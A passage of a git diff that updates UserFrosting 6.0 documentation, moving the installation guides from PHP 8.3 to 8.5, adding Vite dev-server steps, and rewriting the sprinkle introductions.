+3. During installation, enter a unix user with a password. Remember this password, you'll need it later!
+4. Restart Windows Terminal and open a new ***Ubuntu*** terminal. Each subsequent CLI usage on Windows will be from this Ubuntu terminal.
+
+When using Windows and WSL2, keep in mind your project files will be stored inside the Linux file system. For example, your project files will be in the Linux file system root directory (`\\wsl$\<DistroName>\home\<UserName>\Project`), not the Windows file system root directory (`C:\Users\<UserName>\Project or /mnt/c/Users/<UserName>/Project$`). See [Microsoft guide on file storage](https://learn.microsoft.com/en-us/windows/wsl/setup/environment#file-storage) for more information.
 
 ### PHP
 
-Installing PHP 8.3 locally will make it easier to develop locally, as it will allow you to run Composer locally, too. 
+Installing PHP 8.5 locally will make it easier to develop locally, as it will allow you to run Composer locally, too.
 
 #### MacOS
 The easiest way to install PHP on MacOS is through Homebrew:
 1. Install XCode Command Line Tools : `xcode-select --install`
 2. Install [Homebrew](https://brew.sh) using their guide
-3. Install PHP 8.3, from the terminal : `brew install shivammathur/php/php@8.3` 
+3. Install PHP 8.5, from the terminal : `brew install shivammathur/php/php@8.5`
 
 > [!TIP]
 > It's possible to use multiple versions of PHP on MacOS. See [shivammathur/php documentation](https://github.com/shivammathur/homebrew-php#switch-between-php-versions).
 
 #### Linux & Windows WSL2
-Install PHP through the package manager. For example, on Ubuntu : 
+Install PHP through the package manager. For example, on Ubuntu :
 
-1. Add [Ondřej Surý PPA](https://launchpad.net/~ondrej/+archive/ubuntu/php/) to get the latest version : 
+1. Add [Ondřej Surý PPA](https://launchpad.net/~ondrej/+archive/ubuntu/php/) to get the latest version :
     ```bash
     sudo add-apt-repository ppa:ondrej/php
     sudo apt update
     ```
 
-2. Install PHP and the necessary extensions : 
+2. Install PHP and the necessary extensions :
    ```bash
-   sudo apt install php8.3 php8.3-gd php8.3-dom php8.3-zip php8.3-sqlite3 php8.3-pdo_mysql php8.3-curl php8.3-mbstring unzip
+   sudo apt install php8.5 php8.5-gd php8.5-dom php8.5-zip php8.5-sqlite3 php8.5-pdo_mysql php8.5-curl php8.5-mbstring unzip
    ```
 
 #### Preflight checks
@@ -63,11 +88,11 @@ php -v
 You should then see a message like:
 
 ```txt
-PHP 8.3.0 (cli) (built: Nov 21 2023 14:40:35) (NTS)
+PHP 8.5.0 (cli) (built: Dec 20 2024 12:30:45) (NTS)
 Copyright (c) The PHP Group
-Zend Engine v4.3.0, Copyright (c) Zend Technologies
-    with Xdebug v3.3.0, Copyright (c) 2002-2023, by Derick Rethans
-    with Zend OPcache v8.3.0, Copyright (c), by Zend Technologies
+Zend Engine v4.5.0, Copyright (c) Zend Technologies
+    with Xdebug v3.4.0, Copyright (c) 2002-2024, by Derick Rethans
+    with Zend OPcache v8.5.0, Copyright (c), by Zend Technologies
 ```
 
 This is the version of PHP which will be used by Composer. Make sure it meets the minimum required version for UserFrosting!
@@ -104,7 +129,7 @@ Composer version 2.5.4 2023-02-15 13:10:06
 
 ### Node
 
-It's now time to install [Node.js](https://nodejs.org/en/). Any version above **18.0** will work with UserFrosting 5, however we recommend using the latest LTS version of Node.js (18.18.2 LTS as of October 2023).
+It's now time to install [Node.js](https://nodejs.org/en/). Any version above **18.0** will work with UserFrosting, however we recommend using the latest LTS version of Node.js (20.x LTS as of 2025).
 
 #### MacOS
 
@@ -157,7 +182,7 @@ While multiple solutions are available, two are recommended by UserFrosting : **
 
 Mailpit can be installed on [MacOS through Homebrew](https://github.com/axllent/mailpit#install-via-package-managers), on Linux/WSL2 through their Bash Script](https://github.com/axllent/mailpit#install-via-bash-script-linux--mac), or through [Docker](https://mailpit.axllent.org/docs/install/docker/). By default, Mailpit UI can be access at [http://0.0.0.0:8025](http://0.0.0.0:8025).
 
-When using Mailpit with UserFrosting, the following parameters will need to be provided during UserFrosting installation, which we'll see on the next page : 
+When using Mailpit with UserFrosting, the following parameters will need to be provided during UserFrosting installation, which we'll see on the next page :
 
 | Param       | Value     |
 |-------------|-----------|
@@ -168,11 +193,11 @@ When using Mailpit with UserFrosting, the following parameters will need to be p
 
 #### Mailtrap
 
-[Mailtrap](https://mailtrap.io/) is similar to Mailpit, but it runs in the cloud, so there's nothing to install. However, Mailtrap is not open source. Mailtrap features a forever free plan that offers basic functionality for personal use. The *Free Sandbox* provides one inbox and up to 100 emails per month. It's a great way to get started, as it's super easy and fast to setup. For a more permanent solution however, Mailpit should be preferred. 
+[Mailtrap](https://mailtrap.io/) is similar to Mailpit, but it runs in the cloud, so there's nothing to install. However, Mailtrap is not open source. Mailtrap features a forever free plan that offers basic functionality for personal use. The *Free Sandbox* provides one inbox and up to 100 emails per month. It's a great way to get started, as it's super easy and fast to setup. For a more permanent solution however, Mailpit should be preferred.
 
-To get started, simply create your account on [Mailtrap's website](https://mailtrap.io/register/signup). 
+To get started, simply create your account on [Mailtrap's website](https://mailtrap.io/register/signup).
 
-When using Mailtrap with UserFrosting, the following parameters will need to be provided during UserFrosting installation, which we'll see on the next page : 
+When using Mailtrap with UserFrosting, the following parameters will need to be provided during UserFrosting installation, which we'll see on the next page :
 
 | Param         | Value                    |
 |---------------|--------------------------|
@@ -185,7 +210,7 @@ The *user* and *password* are unique to your Mailtrap inbox, and can be found in
 
 ## Optional Installation
 
-The next tools are not required in your local development environment to run UserFrosting. However, you may be interested in installing them anyway; or the instructions may be helpful for those tools which apply to you. 
+The next tools are not required in your local development environment to run UserFrosting. However, you may be interested in installing them anyway; or the instructions may be helpful for those tools which apply to you.
 
 ### Git
 
diff --git a/app/pages/6.0/04.installation/02.environment/01.native/02.install/docs.md b/app/pages/6.0/04.installation/02.environment/01.native/02.install/docs.md
index 95940ddd..7138c232 100644
--- a/app/pages/6.0/04.installation/02.environment/01.native/02.install/docs.md
+++ b/app/pages/6.0/04.installation/02.environment/01.native/02.install/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Installing UserFrosting
 description: Getting UserFrosting up and running in your development environment.
-obsolete: true
 ---
 
 Now that your local development environment is setup and ready to go, it's finally time to download and access your first UserFrosting application for the first time !
@@ -10,8 +9,9 @@ Now that your local development environment is setup and ready to go, it's final
 
 Use Composer to create an empty project with the latest version of UserFrosting skeleton into a new `UserFrosting` folder:
 
+<!-- TODO : UPDATE FOR OFFICIAL RELEASE -->
 ```bash
-composer create-project userfrosting/userfrosting UserFrosting "^5.1"
+composer create-project userfrosting/userfrosting UserFrosting "^6.0" --stability=beta
 ```
 
 > [!TIP]
@@ -22,10 +22,7 @@ This may take some time to complete. If Composer has completed successfully, you
 Next the **Bakery** will execute it's magic. You'll have to answer some questions, which will guide you into the configuration process. These will help you set up the **database** credentials, create the first **admin user** and install the third-party **assets**.
 
 > [!NOTE]
-> If any error is encountered at this point, in the main project directory, run:
-> ```bash
-> $ php bakery bake
-> ```
+> If any error is encountered at this point, in the main project directory, run `php bakery bake` to re-attempt the installation.
 
 You will first be prompted for your database credentials. This is the information PHP needs to connect to your database. If you followed our guide to setup, you can select **SQLite** and the default path when asked. If PHP can't connect to your database using these credentials, make sure you have entered the right information and re-run the `bake` command.
 
@@ -42,27 +39,38 @@ If the database connection is successful, the installer will then check that the
 
 ## Serve and visit your website
 
-At this point you can run locally using the PHP Built-in server : 
+UserFrosting requires two servers to run locally: the PHP backend server and the Vite development server for frontend assets.
+
+**Terminal 1 - Start the PHP server:**
 
 ```bash
 php bakery serve
 ```
 
+This starts the backend on [http://localhost:8080](http://localhost:8080).
+
+**Terminal 2 - Start the Vite dev server:**
+
+```bash
+npm run dev
+```
+
+This starts the Vite development server with Hot Module Replacement (HMR) for instant frontend updates.
+
+> [!TIP]
+> You can use the `==> Serve` VS Code task to start both servers simultaneously if you're using VS Code.
+
 You can now access UserFrosting at [http://localhost:8080](http://localhost:8080). You should see the default UserFrosting pages and login with the newly created master account. 
 
 ![Basic front page of a UserFrosting installation](images/front-page.png)
 
 > [!TIP]
-> To stop the server, hit `ctrl+c`.
+> To stop either server, hit `ctrl+c` in its respective terminal.
 
-## Star the project and follow us on Twitter
+## Star the project
 
 It will help us a lot if you could star [the UserFrosting project on GitHub](https://github.com/userfrosting/UserFrosting). Just look for the button in the upper right-hand corner!
 
 [![How to star](images/how-to-star.png)](https://github.com/userfrosting/UserFrosting)
 
-You should also follow us on Twitter for real-time news and updates:
-
-<a class="twitter-follow-button" href="https://twitter.com/userfrosting" data-size="large">Follow @userfrosting</a>
-
-Congratulations! Now that this is complete, you're ready to start developing your application by [creating your first Sprinkle](sprinkles).
+Congratulations! Now that this is complete, you're ready to start developing your application. Learn more about [Sprinkles](sprinkles) to understand how to structure and extend your UserFrosting application.
diff --git a/app/pages/6.0/04.installation/02.environment/01.native/docs.md b/app/pages/6.0/04.installation/02.environment/01.native/docs.md
index 76d5f0c2..31dd74c9 100644
--- a/app/pages/6.0/04.installation/02.environment/01.native/docs.md
+++ b/app/pages/6.0/04.installation/02.environment/01.native/docs.md
@@ -1,11 +1,10 @@
 ---
 title: Native Installation
 description: Getting UserFrosting up and running in your development environment.
-obsolete: true
 ---
 
-This **native installation** guide will first show you the steps to install all the tools and apps required to run your own local development environment. Once this is done, the second part contains the steps required to get UserFrosting itself up and running. 
+This **native installation** guide will first show you the steps to install all the tools and apps required to run your own local development environment. Once this is done, the second part contains the steps required to get UserFrosting itself up and running.
 
-If you already have a local environment and you're familiar with tools like **Composer**, the first part also contains steps to make sure you have the *appropriate version* of everything set up. If you're already up to date, you can skip to the second part right away. 
+If you already have a local environment and you're familiar with tools like **Composer**, the first part also contains steps to make sure you have the *appropriate version* of everything set up. If you're already up to date, you can skip to the second part right away.
 
 If you don't want to install the required software natively, you may instead want to consider setting up [Docker](installation/environment/docker) as a pre-configured virtual environment.
diff --git a/app/pages/6.0/04.installation/02.environment/02.docker/docs.md b/app/pages/6.0/04.installation/02.environment/02.docker/docs.md
index 01a192d1..72fbf239 100644
--- a/app/pages/6.0/04.installation/02.environment/02.docker/docs.md
+++ b/app/pages/6.0/04.installation/02.environment/02.docker/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Docker
 description: Docker is a containerization platform that helps maintain consistent behavior across different development and production environments.
-obsolete: true
 ---
 
 If you don't already have a local development environment set up, this page will guide you through installing UserFrosting using Docker.
@@ -12,8 +11,25 @@ If you're familiar with PHP development, or already have PHP installed locally,
 
 ## Command Line Interface
 
-<!-- TODO Inject the content directly here -->
-[plugin:content-inject](04.installation/_modular/cli)
+The [command line interface](installation/requirements/essential-tools-for-php#the-command-line-cli) will be required to perform most tasks in this guide. It's usage depends on your OS :
+
+#### MacOS
+If you're using MacOS, the **Terminal** is already installed on your computer. You'll find the app in `/System/Applications/Utilities/Terminal`.
+
+#### Linux
+Every Linux distro uses the command line. On Ubuntu for example, you can find a launcher for the terminal by clicking on the Activities item at the top left of the screen, then typing the first few letters of "terminal", "command", "prompt" or "shell".
+
+#### Windows
+The easiest way to setup a local dev environnement on Windows is through *Windows Subsystem for Linux* (WSL2). This is basically running Linux inside Windows. Best of both worlds! This also means most installation instructions for Windows you'll find on the internet won't work, as we're not technically *on* Windows, **we're on Ubuntu**. We'll instead use the Ubuntu installation instructions!
+
+See this guide for more detail on this process : [Set up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment). The gist of it is :
+
+1. Open *Windows Terminal*, which can be found in the [Microsoft Store](https://apps.microsoft.com/detail/9N0DX20HK701?hl=en-us&gl=US).
+2. Open the terminal and install WSL2 distro : `wsl --install`.
+3. During installation, enter a unix user with a password. Remember this password, you'll need it later!
+4. Restart Windows Terminal and open a new ***Ubuntu*** terminal. Each subsequent CLI usage on Windows will be from this Ubuntu terminal.
+
+When using Windows and WSL2, keep in mind your project files will be stored inside the Linux file system. For example, your project files will be in the Linux file system root directory (`\\wsl$\<DistroName>\home\<UserName>\Project`), not the Windows file system root directory (`C:\Users\<UserName>\Project or /mnt/c/Users/<UserName>/Project$`). See [Microsoft guide on file storage](https://learn.microsoft.com/en-us/windows/wsl/setup/environment#file-storage) for more information.
 
 ## Install Docker
 First, you'll need to install Docker. Just follow the installation instructions from the Docker website:
@@ -21,10 +37,11 @@ First, you'll need to install Docker. Just follow the installation instructions
 - [Windows (via WSL2)](https://docs.docker.com/desktop/install/windows-install/)
 - [Linux](https://docs.docker.com/desktop/install/linux-install/)
 
-## Get UserFrosting 
+## Get UserFrosting
 
 For the next part, you'll need to use the command line. We'll use Composer (through a Docker image) to create an empty project, with the latest version of the UserFrosting skeleton, into a new `UserFrosting` subdirectory:
 
+<!-- TODO : UPDATE FOR OFFICIAL RELEASE -->
 ```bash
 docker run --rm -it -v "$(pwd):/app" composer create-project userfrosting/userfrosting UserFrosting "^6.0-beta" --no-scripts --no-install --ignore-platform-reqs
 ```
@@ -34,10 +51,10 @@ docker run --rm -it -v "$(pwd):/app" composer create-project userfrosting/userfr
 
 ## Build Containers & Setup UserFrosting
 
-Now it's simply a matter of navigating to the directory containing the source code you just downloaded, building the containers, starting them, then installing UserFrosting. 
+Now it's simply a matter of navigating to the directory containing the source code you just downloaded, building the containers, starting them, then installing UserFrosting.
 
 1. Navigate to the directory:
-   
+
    ```bash
    cd UserFrosting
    ```
@@ -46,24 +63,24 @@ Now it's simply a matter of navigating to the directory containing the source co
    > If you customized `UserFrosting` in the previous command, don't forget to change it in the command above.
 
 2. Build each of the Docker Containers (this might take a while):
-   
+
    ```bash
    docker-compose build --no-cache
    ```
 
 3. Copy the `.env` template
    ```bash
-   cp app/.env.docker app/.env 
+   cp app/.env.docker app/.env
    ```
 
 4. Start each Docker Container:
-   
+
    ```bash
    docker-compose up -d
    ```
 
 5. Set some directory permissions (you may have to enter your root password):
-   
+
    ```bash
    sudo touch app/logs/userfrosting.log
    sudo chown -R $USER: .
@@ -71,22 +88,22 @@ Now it's simply a matter of navigating to the directory containing the source co
    ```
 
 6. Install PHP dependencies:
-   
+
    ```bash
    docker-compose exec app composer update
    ```
 
 7. Install UserFrosting (database configuration and migrations, creation of admin user, etc.). You'll need to provide info to create the admin user:
-   
+
    ```bash
    docker-compose exec app php bakery bake
    ```
 
 Now visit [http://localhost:8080](http://localhost:8080) to see your UserFrosting homepage!
 
-You should see the default UserFrosting pages and be able to log in with the newly created admin account. 
+You should see the default UserFrosting pages and be able to log in with the newly created admin account.
 
-![Basic front page of a UserFrosting installation](/images/front-page.png)
+![Basic front page of a UserFrosting installation](images/front-page.png)
 
 To stop the containers, run:
 
@@ -96,7 +113,7 @@ docker-compose stop
 
 ## Mailpit
 
-UserFrosting's default `docker-compose.yml` file contains a service entry for [Mailpit](https://github.com/axllent/mailpit). Mailpit intercepts emails sent by your application during local development and provides a convenient web interface so that you can preview your email messages in your browser. 
+UserFrosting's default `docker-compose.yml` file contains a service entry for [Mailpit](https://github.com/axllent/mailpit). Mailpit intercepts emails sent by your application during local development and provides a convenient web interface so that you can preview your email messages in your browser.
 
 While UserFrosting is running, you may access the Mailpit web interface at: [http://localhost:8025](http://localhost:8025).
 
diff --git a/app/pages/6.0/04.installation/02.environment/docs.md b/app/pages/6.0/04.installation/02.environment/docs.md
index 37ea6234..c5021d60 100644
--- a/app/pages/6.0/04.installation/02.environment/docs.md
+++ b/app/pages/6.0/04.installation/02.environment/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Dev Environment
 description: Getting UserFrosting up and running in your development environment.
-obsolete: true
 ---
 
 The process of setting up UserFrosting so that you can begin work in your [local development environment](background/develop-locally-serve-globally) is known as **installation**. This is a separate process from [deployment](going-live), when you push your fully developed application to a live server. Please be sure that you understand this distinction before proceeding further! UserFrosting is not like Wordpress, for example, where you can "install" directly to your production server.
diff --git a/app/pages/6.0/04.installation/_modular/cli/docs.md b/app/pages/6.0/04.installation/_modular/cli/docs.md
deleted file mode 100644
index ad4e6ad1..00000000
--- a/app/pages/6.0/04.installation/_modular/cli/docs.md
+++ /dev/null
@@ -1,22 +0,0 @@
-The [command line interface](installation/requirements/essential-tools-for-php#the-command-line-cli) will be required to perform most tasks in this guide. It's usage depends on your OS : 
-
-#### MacOS 
-If you're using MacOS, the **Terminal** is already installed on your computer. You'll find the app in `/System/Applications/Utilities/Terminal`.
-
-#### Linux
-Every Linux distro uses the command line. On Ubuntu for example, you can find a launcher for the terminal by clicking on the Activities item at the top left of the screen, then typing the first few letters of "terminal", "command", "prompt" or "shell".
-
-#### Windows
-The easiest way to setup a local dev environnement on Windows is through *Windows Subsystem for Linux* (WSL2). This is basically running Linux inside Windows. Best of both worlds! This also means most installation instructions for Windows you'll find on the internet won't work, as we're not technically *on* Windows, **we're on Ubuntu**. We'll instead use the Ubuntu installation instructions! 
-
-See this guide for more detail on this process : [Set up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment). The gist of it is : 
-
-1. Open *Windows Terminal*, which can be found in the [Microsoft Store](https://apps.microsoft.com/detail/9N0DX20HK701?hl=en-us&gl=US).
-2. Open the terminal and install WSL2 distro : `wsl --install`.
-3. During installation, enter a unix user with a password. Remember this password, you'll need it later!
-4. Restart Windows Terminal and open a new ***Ubuntu*** terminal. Each subsequent CLI usage on Windows will be from this Ubuntu terminal.
-
-When using Windows and WSL2, keep in mind your project files will be stored inside the Linux file system. For example, your project files will be in the Linux file system root directory (`\\wsl$\<DistroName>\home\<UserName>\Project`), not the Windows file system root directory (`C:\Users\<UserName>\Project or /mnt/c/Users/<UserName>/Project$`). See [Microsoft guide on file storage](https://learn.microsoft.com/en-us/windows/wsl/setup/environment#file-storage) for more information. 
-
-> [!TIP]
-> Also see the [Get started using Visual Studio Code with Windows Subsystem for Linux](https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-vscode) guide if you're using VSCode.
diff --git a/app/pages/6.0/04.installation/chapter.md b/app/pages/6.0/04.installation/chapter.md
index ce33884a..accb0ea0 100644
--- a/app/pages/6.0/04.installation/chapter.md
+++ b/app/pages/6.0/04.installation/chapter.md
@@ -1,11 +1,14 @@
 ---
 title: Installation
 description: Configuring a development environment with the necessary dependencies for UserFrosting, and using Bakery to get started on your first UserFrosting project.
-obsolete: true
 ---
 
 #### Chapter 4
 
 # Installation
 
-Now that we've gone over the basic structure of a UserFrosting based application, it's time to get things started. This chapter covers UserFrosting's environment dependencies and how to use your essential developer tools to start a UserFrosting project.
+Before you can build amazing web applications with UserFrosting, you need a development environment with the right tools. Setting this up might seem daunting if you're new to PHP development, but this chapter walks you through everything step by step.
+
+We'll cover UserFrosting's system requirements (PHP, Composer, Node.js), show you how to set up your development environment (whether you prefer native installation or Docker), and use the Bakery CLI tool to create your first project.
+
+By the end of this chapter, you'll have a fully functional UserFrosting installation running on your local machine, ready for development. Whether you're on Windows, macOS, or Linux, we'll get you up and running.
diff --git a/app/pages/6.0/05.troubleshooting/01.debugging/docs.md b/app/pages/6.0/05.troubleshooting/01.debugging/docs.md
index a5ec2e5d..45a8395d 100644
--- a/app/pages/6.0/05.troubleshooting/01.debugging/docs.md
+++ b/app/pages/6.0/05.troubleshooting/01.debugging/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Debugging
 description: When your application "doesn't work", it's not always obvious where the problem lies. Modern web browsers come with a built-in tool for identifying problems in client-side code, as well as problems in the communication between your browser and the server.
-obsolete: true
 ---
 
 As we mentioned in [Chapter 2](background/the-client-server-conversation), a web application is not a single piece of software. It consists of the server running PHP code, the client (browser) running Javascript and rendering the web page, and the conversation between the two parties. Things can go wrong in any of these three places.
@@ -182,7 +181,7 @@ Authorization debugging shows you a detailed breakdown of how UserFrosting's [au
 
 #### Mail debugging
 
-The underlying [phpMailer](https://github.com/PHPMailer/PHPMailer) instance that we use can generate _very_ detailed information on the low-level processes involved when your code attempts to send email via SMTP. To have PHPMailer send this information to `app/logs/userfrosting.log`, set `debug.smtp` to `true` in your configuration file.
+The underlying [phpMailer](https://github.com/PHPMailer/PHPMailer) instance that we use can generate _very_ detailed information on the low-level processes involved when your code attempts to send email via SMTP. To have PHPMailer send this information to `app/logs/userfrosting.log`, set `mail.smtp_debug` to a non-zero value in your configuration file.
 
 The level of detail can be specified with the `mail.smtp_debug` configuration value, using the values specified in the [PHPMailer documentation](https://github.com/PHPMailer/PHPMailer/blob/239d0ef38c1eea3e9f40bb949a9683aee9ca5c28/class.phpmailer.php#L318-L325):
 
diff --git a/app/pages/6.0/05.troubleshooting/02.getting-help/docs.md b/app/pages/6.0/05.troubleshooting/02.getting-help/docs.md
index e8e44e4d..f926cdbb 100644
--- a/app/pages/6.0/05.troubleshooting/02.getting-help/docs.md
+++ b/app/pages/6.0/05.troubleshooting/02.getting-help/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Getting Help
 description: Don't be afraid to ask for help! Just, please be sure to read and understand our rules first.
-obsolete: true
 ---
 
 ## General tips for support
diff --git a/app/pages/6.0/05.troubleshooting/03.common-problems/docs.md b/app/pages/6.0/05.troubleshooting/03.common-problems/docs.md
index e8a0ed0b..57dfcea3 100644
--- a/app/pages/6.0/05.troubleshooting/03.common-problems/docs.md
+++ b/app/pages/6.0/05.troubleshooting/03.common-problems/docs.md
@@ -1,14 +1,10 @@
 ---
 title: Common Problems
 description: Commonly encountered issues when setting up, developing, or deploying a UserFrosting project.
-obsolete: true
 ---
 
 ## Installation
 
-<!-- ### Route error -->
-<!-- TODO -->
-
 ### I get a Node/npm error when running `php bakery bake`.
 
 If installation of npm dependencies fails, see [npm](basics/requirements/essential-tools-for-php#npm) to ensure npm is correctly installed and updated. You may need to [change npm permissions](https://docs.npmjs.com/getting-started/fixing-npm-permissions).
@@ -25,7 +21,7 @@ This is an indication that asset build failed or you missed a step in the instal
 
 ### Installation went fine, except I don't see any styling on my home page. I am using Apache.
 
-UserFrosting uses a [dynamic routing system](asset-management/basic-usage) for serving assets in a development environment. For this to work on an Apache webserver, `mod_rewrite` needs to be enabled, **and** you need to give Apache permission to use the `.htaccess` file in `public/`.
+UserFrosting uses a [dynamic routing system](/asset-management/basic-usage) for serving assets in a development environment. For this to work on an Apache webserver, `mod_rewrite` needs to be enabled, **and** you need to give Apache permission to use the `.htaccess` file in `public/`.
 
 #### Enabling `mod_rewrite`
 
diff --git a/app/pages/6.0/05.troubleshooting/chapter.md b/app/pages/6.0/05.troubleshooting/chapter.md
index 9d52fc65..03de93ae 100644
--- a/app/pages/6.0/05.troubleshooting/chapter.md
+++ b/app/pages/6.0/05.troubleshooting/chapter.md
@@ -1,7 +1,6 @@
 ---
 title: Troubleshooting
 description: Troubleshooting installation and your application.
-obsolete: true
 ---
 
 #### Chapter 5
diff --git a/app/pages/6.0/06.sprinkles/01.sprinkles/docs.md b/app/pages/6.0/06.sprinkles/01.sprinkles/docs.md
index cc6d64bd..e95b3813 100644
--- a/app/pages/6.0/06.sprinkles/01.sprinkles/docs.md
+++ b/app/pages/6.0/06.sprinkles/01.sprinkles/docs.md
@@ -1,12 +1,11 @@
 ---
 title: Basic concept
-description: ""
-obsolete: true
+description: Learn how sprinkles provide a modular system for extending UserFrosting without modifying core code.
 ---
 
-In previous versions of UserFrosting, you had to directly modify the files that come with the default installation in order to add your own functionality. For example, if you wanted to add a field to the user registration page, you had to actually modify `register.twig`. Or, if you wanted to add a new relation on the `User` class, you had to modify the actual `User.php` class that comes with UserFrosting.
+In earlier versions of UserFrosting, you had no choice—customizing meant editing core files. Want to add a field to the registration page? Modify `register.twig` directly. Need to extend the `User` class? Edit `User.php` itself. Every framework update risked breaking your work.
 
-Starting in version 4, this is no longer the case! **UserFrosting 4** introduced the **[Sprinkle system](structure/sprinkles)** as a way to completely isolate the code and content that you and your team produce from the core UserFrosting installation, as well as third-party code. **UserFrosting 5** took this a step further, by allowing Composer to manage sprinkles and decoupling even more functionality from the base install. 
+**UserFrosting's sprinkle system** eliminates this problem entirely. Sprinkles let you extend, override, and customize functionality while keeping your code completely separate from the core framework. Updates become safe again—your customizations stay intact, isolated in your own sprinkle. Think of it like adding layers to a cake: each layer (sprinkle) builds on the previous one without destroying what's underneath.
 
 ## What is a "Sprinkle"?
 
@@ -27,7 +26,7 @@ As seen in the [App Structure Chapter](structure), sprinkles can be located anyw
 
 ### The Main Sprinkle
 
-Sprinkles are loaded in a specific order, defined by their dependencies, and entities of a given type in one sprinkle can extend entities of the same type in other sprinkles. The topmost sprinkle, usually your own project, is called the **main sprinkle**. All other sprinkles are called **depends sprinkles**. 
+Sprinkles are loaded in a specific order, defined by their dependencies, and entities of a given type in one sprinkle can extend entities of the same type in other sprinkles. The topmost sprinkle, usually your own project, is called the **main sprinkle**. All other sprinkles are called **depends sprinkles**.
 
 ### Default Sprinkles
 
diff --git a/app/pages/6.0/06.sprinkles/02.content/docs.md b/app/pages/6.0/06.sprinkles/02.content/docs.md
index dc953eee..110fd930 100644
--- a/app/pages/6.0/06.sprinkles/02.content/docs.md
+++ b/app/pages/6.0/06.sprinkles/02.content/docs.md
@@ -1,9 +1,16 @@
 ---
 title: Contents
-description: Detailed breakdown of a Sprinkle's contents.
-obsolete: true
+description: Detailed breakdown of a Sprinkle's contents and how each directory serves a specific purpose.
 ---
 
+Now that you understand what sprinkles are, let's explore what goes inside them. A sprinkle isn't just a random collection of files—it's an organized package where each directory has a specific purpose. Understanding this structure helps you know exactly where to put your code, templates, assets, and other resources.
+
+Think of a sprinkle like a well-organized kitchen: ingredients (code) go in the pantry, tools (assets) have their drawer, recipes (templates) are in the cookbook, and seasonings (configuration) sit on the spice rack. Everything has its place, making it easy to find what you need and add new items.
+
+This page details each directory in a sprinkle and explains what belongs there.
+
+## Directory Structure
+
 Within each sprinkle, you will find any or all of the following directories and files:
 
 ```txt
@@ -30,7 +37,7 @@ Within each sprinkle, you will find any or all of the following directories and
 ├── vendor/
 ├── composer.json
 ├── package.json
-└── webpack.config.js
+└── vite.config.ts
 ```
 
 > [!NOTE]
@@ -46,17 +53,17 @@ The sprinkle `composer.json` should also define the sprinkles this one depends o
 
 ### /package.json
 
-The `package.json` file is used for retrieving frontend dependencies via [npm](https://www.npmjs.com), like [Bootstrap](http://getbootstrap.com/). Dependencies specified in `package.json` will be downloaded to `/node_modules`.
+The `package.json` file is used for retrieving frontend dependencies via [npm](https://www.npmjs.com), like [Vue](https://vuejs.org/) components. Dependencies specified in `package.json` will be downloaded to `/node_modules`.
 
 To download frontend dependencies, from the project root directory:
 
 ```bash
-$ php bakery webpack
+$ php bakery bake
 ```
 
-### /webpack.config.js
+### /vite.config.ts
 
-The `webpack.config.js` file is used for defining **asset entries** which can be referenced by templates. The advantage of using asset entries (as compared to referencing specific files) is that multiple files can be quickly referenced by the name of their entries. In production the individual files in each bundle are merged by Webpack Encore, reducing the number of HTTP requests that need to be made and thus reducing client latency and server load. See [Chapter 13](asset-management/asset-bundles) for more information about asset bundles.
+The `vite.config.ts` file is used for configuring **Vite** and defining how your assets are built and bundled. See [Chapter 13](/asset-management) for more information about asset management with Vite.
 
 ### /app/assets
 
@@ -84,11 +91,11 @@ The `logs` directory is used to store UserFrosting debug logs. This directory is
 
 ### /app/schema
 
-The `schema` directory contains the [request schema](routes-and-controllers/client-input/validation) for your sprinkle. Schema files in other sprinkles can be extended by using a custom loader.
+The `schema` directory contains the [request schema](/routes-and-controllers/client-input/validation) for your sprinkle. Schema files in other sprinkles can be extended by using a custom loader.
 
 ### /app/src
 
-The `src` directory contains the (preferably) [PSR-4](http://www.php-fig.org/psr/psr-4/) compatible PHP code for your sprinkle. This directory will contain your controllers, database models, [migrations](database/migrations), [routes](routes-and-controllers), [service providers](services), [data sprunjers](database/data-sprunjing), and any other custom classes that your sprinkle uses. This is where your sprinkle's Recipe will be found.
+The `src` directory contains the (preferably) [PSR-4](http://www.php-fig.org/psr/psr-4/) compatible PHP code for your sprinkle. This directory will contain your controllers, database models, [migrations](/database/migrations), [routes](/routes-and-controllers), [service providers](/services), [data sprunjers](/database/data-sprunjing), and any other custom classes that your sprinkle uses. This is where your sprinkle's Recipe will be found.
 
 > [!NOTE]
 > The content of `app/src/` can be customized and doesn't need to follow any strict convention.
@@ -99,11 +106,11 @@ The `storage` directory is used to store files managed by Filesystem service. Th
 
 ### /app/templates
 
-To separate content and logic, UserFrosting uses the popular [Twig](http://twig.symfony.com/) templating engine. Since Twig has its own system for [loading templates](http://twig.symfony.com/doc/api.html#built-in-loaders), UserFrosting builds upon this to allow overriding templates in sprinkles. See [Templating with Twig](templating-with-twig) for more information on how Twig is integrated into UserFrosting.
+To separate content and logic, UserFrosting uses the popular [Twig](http://twig.symfony.com/) templating engine. Since Twig has its own system for [loading templates](http://twig.symfony.com/doc/api.html#built-in-loaders), UserFrosting builds upon this to allow overriding templates in sprinkles. See [Templating with Twig](/templating-with-twig) for more information on how Twig is integrated into UserFrosting.
 
 ### /app/test
 
-The `test` directory is similar to `/src`, but for your [Tests](testing).
+The `test` directory is similar to `/src`, but for your [Tests](/testing).
 
 ### /app/.env
 
diff --git a/app/pages/6.0/06.sprinkles/03.recipe/docs.md b/app/pages/6.0/06.sprinkles/03.recipe/docs.md
index 72e82319..ac966c3e 100644
--- a/app/pages/6.0/06.sprinkles/03.recipe/docs.md
+++ b/app/pages/6.0/06.sprinkles/03.recipe/docs.md
@@ -1,21 +1,25 @@
 ---
 title: The Sprinkle Recipe
-description: ""
-obsolete: true
+description: The recipe is your sprinkle's blueprint, telling UserFrosting how to integrate your code into the application.
 ---
 
-The Sprinkle Recipe dictates how your sprinkle is built, like a blueprint. UserFrosting services and framework will use the information from the recipe to initiate some services, and expose classes your sprinkle provides for other servicea to use.
+Every sprinkle needs a way to tell UserFrosting what it contains and how to use it. Without this information, UserFrosting wouldn't know which routes to register, which services to load, or how your sprinkle fits into the application. Imagine trying to bake a cake without a recipe—you'd have ingredients but no idea how to combine them.
 
-Each sprinkle **must have** a recipe. It's not possible for a sprinkle to exist without a recipe, as it won't be possible to expose its class and service to the framework. It's possible however to customize other sprinkles, as we'll see later on this page. 
